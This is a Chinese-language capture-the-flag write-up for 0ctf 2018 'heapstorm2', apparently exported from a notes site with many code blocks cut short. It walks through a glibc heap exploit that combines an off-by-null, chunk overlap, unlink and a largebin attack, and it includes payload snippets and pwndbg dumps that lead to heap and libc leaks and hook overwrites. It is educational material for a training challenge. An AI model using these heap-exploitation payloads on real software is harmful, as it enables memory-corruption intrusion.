0ctf_2018_heapstorm2
Largebin attack + Unlink + off-by-null + overlap + 修改 hook 表 + mmap
总体分析整个程序
整个程序包括 Allocate,Update,Delete 和 View 四个部分。在 main 函数的开头,先是调用 mallopt()函数关闭了 fastbin 的分配,然后调用了 mmap()在地址 0x13370000 处分配了一块 0x1000 大小的内存,用于保存堆块结构体。随后,在从 0x13370800 的内存中开始写入随机数,后面是两个异或函数,相当于加了层混淆。
这里构造了一个结构体:
1 | struct heap_info{ |
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
一个安全读取函数:
1 | __int64 atol_0() |
看主要的函数吧:
Allocate
1 | void *calloc(size_t nmemb, size_t size); |
1 | void __fastcall allocate(_QWORD *a1) |
Update
1 | int __fastcall update(_QWORD *a1) |
整个函数是更新堆块内容的,不过存在 strcpy 函数会造成 off-by-null 漏洞,最后一位一定是 \x00。
Delete
1 | int __fastcall delete(_QWORD *a1) |
这里就是简单的 free,然后通过异或运算把指针变为 0,不存在 UAF
view
1 | int __fastcall view(_QWORD *a1) |
直接打印 printf。
View(sub_11B5)——权限检查:a1[3] ^ a1[2]) != 322401073
也就是:
- 需要让 heaparray+0x10 和 heaparray+0x18 的 xor 等于 0x13377331 才能 view。
exp 最终会把 heaparray 里的关键字段改成: - heaparray[0x10] = 0x13377331
- heaparray[0x18] = 0 或类似组合(总之 xor 结果等于 0x13377331),来获得 View 权限。
exp 思路:
1 |
|
1 | pwndbg> x/50gx 0x55a6a53e8000 |
1 | edit(1,b'a'*0x4f0 + p64(0x500)) # fake_prev_size |
1 | ──────────────────────────────────────────────────────────────────────────────── |
1
1 | delete(1) #1 |
1 | pwndbg> bins |
1 | pwndbg> x/500gx 0x563fc4b4f000 |
创建两个堆块,chunk1 用于与 chunk2 合并制造重叠,chunk7 是被重叠的块。依次释放 chunk1 和 chunk2 触发 unlink。
1 | add(0x18) #1 |
1 | pwndbg> heap |
这里造成了堆重叠,让两个 free 掉的 bin 合并,大小为 0x530
再重新创建 chunk1,其范围可以覆盖 chunk7 的头部
1 | add(0x38) #1 |
1 | pwndbg> heap |
利用同样方法重叠堆块 8
1 | delete(4) #4 |
清空 unsortedbin 并把 chunk2 单独放入 unsortedbin 当中
1 | delete(2) |
现在有两个 bin 块,并且我们最后释放了 chunk2 到 unsortedbin 当中。
1 | pwndbg> x/500gx 0x5591bc3d6000 |
伪造堆块
利用 chunk7 修改 chunk2 的 bk 指针,使其指向 mmap 区域的 fake_chunk,利用 chunk8 修改 largebin 的 bk 和 bk_nextsize 指针。先看一下修改前的:
1 | pwndbg> x/500gx 0x5591bc3d6000 |
1 | heaparray = 0x13370000 + 0x800 |
1 | Free chunk (unsortedbin) | PREV_INUSE |
同理修改largebin 的 bk 和 bk_nextsize 指针:
1 | payload2 = b'b' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) |
1 | Free chunk (largebins) | PREV_INUSE |
在 fakechunk 处创建一个 0x50 大小的堆块
我们可以在 fakechunk 处创建一个 0x50 大小的堆块,达到完全控制堆块指针的目的。为了满足 mmap 的检查,需要满足地址以 0x56 开头。但由于开启了 ASLR,这种攻击方法只有一定的成功概率
准备一个“可控数据块”当作后续伪结构容器
1 | add(0x48) #2 |
这里是直接复用了 unsortedbin
- 2
1 | payload3= p64(0)*5 + p64(0x13377331) + p64(heaparray) |
1 | payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray) |
1 | pwndbg> x/50gx 0x133707e0 |
泄露出heap指针
1 | view(1) |
同样的方法来把任意读地址改成 chunk+0x10,泄漏 libc
1 | #coding=utf-8 |
更新: 2026-03-30 17:53:37
原文: https://www.yuque.com/idcm/wnemg9/psamt9qti7rw9vup